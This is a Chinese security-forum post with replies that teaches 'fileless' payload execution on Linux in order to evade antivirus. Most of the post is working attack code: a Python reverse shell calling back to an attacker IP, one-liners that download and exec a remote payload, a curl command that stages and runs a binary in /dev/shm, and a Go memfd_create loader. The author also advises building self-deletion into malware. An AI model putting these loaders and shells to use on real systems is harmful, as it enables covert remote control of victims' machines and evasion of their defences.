吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 532|回复: 11
收起左侧

[学习记录] 编译型语言,我依然无文件落地!

[复制链接]
st0rm 发表于 2024-12-26 15:25
本帖最后由 st0rm 于 2024-12-27 16:05 编辑

python 等脚本语言

通过将powercat 无文件落地思路进行扩展,可以考虑到通过加载器以及payload等恶意代码执行文件,也可以使用无文件落地的方式对静态杀毒进行规避。

由于大多数Linux系统中都默认安装了 python ,且python作为一种脚本型语言,可以直接使用命令行代码执行操作,与powershell 有极大的相似之处,因此,使用python进行无文件落地思路是相同的。

示例

首先准备一个恶意的python脚本放置在远端的服务器,用于文件下载

import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.220.151', 4444))

while True:
    command = s.recv(1024).decode('utf-8')
    if command.lower() == 'exit':
        break
    output = subprocess.run(command, shell=True, capture_output=True)
    s.send(output.stdout + output.stderr)

s.close()

然后,使用python进行文件下载并执行,达到无文件落地的效果

import urllib.request
import subprocess

# 下载恶意 Python 脚本
url = 'http://192.168.220.151/payload.py'
response = urllib.request.urlopen(url)
code = response.read().decode('utf-8')

# 执行下载的脚本
exec(code)

但是,上述代码是脚本形式,要做到无文件落地执行,就需要完全在命令行执行代码。
python中可以使用 python自带的控制端,按照上述代码逐句执行。

import urllib.request
response = urllib.request.urlopen('http://192.168.220.151/payload.py')
code = response.read().decode('utf-8')
exec(code)

也可以直接使用 python -c 来执行单行代码

import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))

python3 -c "import urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))"
演示

对payload所在目录开启web服务,用于下载恶意文件
Pasted image 20241226105044.png

攻击端开启监听
Pasted image 20241226105103.png

被控端操作,下载并执行恶意代码,实现无文件落地
Pasted image 20241226105151.png

攻击端成功接收
Pasted image 20241226105353.png

来到被控端,并未发现payload,成功实现无文件落地
Pasted image 20241226105452.png

golang 等静态编译型语言

由于golang、C、C++ 等静态编译语言的特性,无论如何规避,都需要有文件在系统种进行执行才可以,但并不是说无法做到完全无文件落地。

内存文件系统

  • 完全在内存中执行/dev/shm 使用的是内存文件系统(tmpfs),文件存储在内存中,确保不会写入磁盘。
  • 快速执行:内存中的文件访问速度比磁盘文件快得多,因此可以提高执行效率。
  • 通过将文件写入 /dev/shm 并从该目录下执行,文件完全存储在内存中,确保不会有文件写入磁盘,因此可以达到 完全无文件落地 的效果。
  • 如果你希望确保完全避免文件留下,可以将执行完成后清理 /dev/shm 目录下的文件,这样可以进一步增强安全性。

因此,对于编译型语言的二进制可执行文件的无文件落地,可以使用 /dev/shm  目录,例如:

curl -s http://192.168.220.151/helloNum -o /dev/shm/helloNum && chmod +x /dev/shm/helloNum && /dev/shm/helloNum && rm /dev/shm/helloNum

这样会将文件下载到 /dev/shm/ 目录下,直接存储在内存中执行,并且在执行完毕后删除文件。

<mark style="background: #ABF7F7A6;">但这样也会产生一个问题</mark>,如果操作不当或者因不知名原因等导致恶意程序执行突然中断,那么就无法执行文件删除操作,因此,建议在恶意文件中加入 <mark style="background: #D2B3FFA6;">保险程序</mark> 。

也就是说,一旦程序终止,自动执行自删除操作,<mark style="background: #D2B3FFA6;">这里提供一种思路</mark>。
如果将自删除程序写入恶意文件,那么如果恶意程序被主动结束,就无法正常执行后续操作,因此,可以在恶意程序执行时,首先写入一个文件到内存系统中,文件中可以有一些无意义操作用来避免安全检测,然后通过该文件实时监控恶意程序的执行状态。

memfd_create 使用

memfd_create 是 Linux 内核提供的系统调用,可以创建匿名文件,仅存在于内存中。这需要编写一些 C 代码或者使用支持该功能的高级语言。

以下是一个示例:

package main

import (
        "fmt"
        "io"
        "net/http"
        "os"
        "golang.org/x/sys/unix"
        "syscall"
)

func main() {
        // 创建匿名内存文件
        fd, err := unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC)
        if err != nil {
                panic(err)
        }

        // 将文件描述符包装为 os.File
        memFile := os.NewFile(uintptr(fd), "helloNum")
        defer memFile.Close()

        // 下载二进制文件到内存文件
        resp, err := http.Get("http://192.168.220.151/helloNum")
        if err != nil {
                panic(err)
        }
        defer resp.Body.Close()

        _, err = io.Copy(memFile, resp.Body)
        if err != nil {
                panic(err)
        }

        // 将文件描述符重置到开始位置
        _, err = memFile.Seek(0, 0)
        if err != nil {
                panic(err)
        }

        // 使用 syscall.Exec 执行内存中的二进制文件
        err = syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ())
        if err != nil {
                panic(err)
        }
}
  1. unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC):创建一个匿名的内存文件(也称为内存后备文件),这个文件存在于内存中,不会占用磁盘空间。MFD_CLOEXEC 标志意味着在执行 exec 系列函数时,这个文件描述符会自动关闭。
  2. os.NewFile(uintptr(fd), "helloNum"):将创建的内存文件描述符 fd 转换为 os.File 对象,这样可以使用标准库中的文件操作方法。
  3. http.Get("http://192.168.220.151/helloNum"):从指定的 URL 下载文件。
  4. io.Copy(memFile, resp.Body):将 HTTP 响应体中的数据复制到内存文件中。
  5. memFile.Seek(0, 0):将内存文件的读写指针移动到文件的开始位置。
  6. syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ()):这是代码中的关键部分。syscall.Exec 函数用于替换当前进程的映像为新的程序。这里它尝试使用内存文件的文件描述符来执行内存中的二进制文件。
    • /proc/self/fd/:这是一个特殊的目录,它包含了当前进程打开的所有文件描述符的符号链接。每个符号链接指向一个实际打开的文件或设备。
    • fmt.Sprint(memFile.Fd()):将内存文件的文件描述符转换为字符串。
    • []string{}:这是传递给 Exec 的参数列表,这里为空,意味着没有传递任何命令行参数。
    • os.Environ():这是传递给 Exec 的环境变量列表,它包含了当前进程的环境变量。
示例

编写一个演示程序,每隔3秒打印一个数字,并编译为二进制可执行文件,作为演示的远端恶意可执行文件
Pasted image 20241226102654.png

开启web服务
Pasted image 20241226102724.png

将上述代码编译为二进制可执行文件 memfd ,并执行
Pasted image 20241226102916.png

在执行过程中查看文件执行位置,并不存在远端文件落地,该文件是被直接加载到内存中,替换了 memfd进程的映像为我们的远端恶意程序。
Pasted image 20241226103037.png

免费评分

参与人数 2吾爱币 +2 热心值 +1 收起 理由
BrutusScipio + 1 用心讨论,共获提升!
Edith123 + 1 + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

大侠在路上 发表于 2024-12-26 17:01
大概是看懂了,利用将文件写入 `/dev/shm` 并从该目录下执行,文件完全存储在内存中,确保不会有文件写入磁盘,达到 完全无文件落地攻击 的效果。

学习了,方便以后防御和查杀攻击

建议贴子排版可以改进一下,看起来有点累
Bin2450 发表于 2024-12-26 19:40
大侠在路上 发表于 2024-12-26 17:01
大概是看懂了,利用将文件写入 `/dev/shm` 并从该目录下执行,文件完全存储在内存中,确保不会有文件写入磁 ...

我没发过帖子,论坛不支持MarkDown?
 楼主| st0rm 发表于 2024-12-26 21:45
大侠在路上 发表于 2024-12-26 17:01
大概是看懂了,利用将文件写入 `/dev/shm` 并从该目录下执行,文件完全存储在内存中,确保不会有文件写入磁 ...

下次一定注意,以前后好好的,这次不知道为啥 md 没转换

点评

结尾缺了结束符  详情 回复 发表于 2024-12-26 22:01
爱飞的猫 发表于 2024-12-26 22:01
st0rm 发表于 2024-12-26 21:45
下次一定注意,以前后好好的,这次不知道为啥 md 没转换

结尾缺了结束符
[/md]
lauded 发表于 2024-12-27 10:19
感谢楼主分享,长知识了
Edith123 发表于 2024-12-27 10:50
大佬,能否再编辑排版一下
Kuukyaku 发表于 2024-12-27 12:05
已知python可以通过ctypes调用一般的api,而且python和编译型语言都是图灵完备的,那么是否可以通过把编译型语言编译成python代码的方式实现无文件落地呢?标准库如果调用操作系统的api就用ctypes,如果不是就翻译成python,虽然速度可能大大降低,但真的搞攻击了应该也不会在意速度了吧?
 楼主| st0rm 发表于 2024-12-27 16:03
Kuukyaku 发表于 2024-12-27 12:05
已知python可以通过ctypes调用一般的api,而且python和编译型语言都是图灵完备的,那么是否可以通过把编译 ...

我觉得当然可以,这里只是提供一种思路,多一种可能性,其实执行payload的方式来说常用的逻辑都是一样的,而python和powershell等这些是经常会被安全防护监测的,如果使用二进制文件的形式,虽然操作步骤以及实现逻辑会更加复杂,但一定程度上可以避开目前的安全监测,这是我个人的理解,兄弟欢迎回帖讨论
 楼主| st0rm 发表于 2024-12-27 16:03
Edith123 发表于 2024-12-27 10:50
大佬,能否再编辑排版一下

我琢磨琢磨,发帖还不熟练
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-1-2 19:43

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表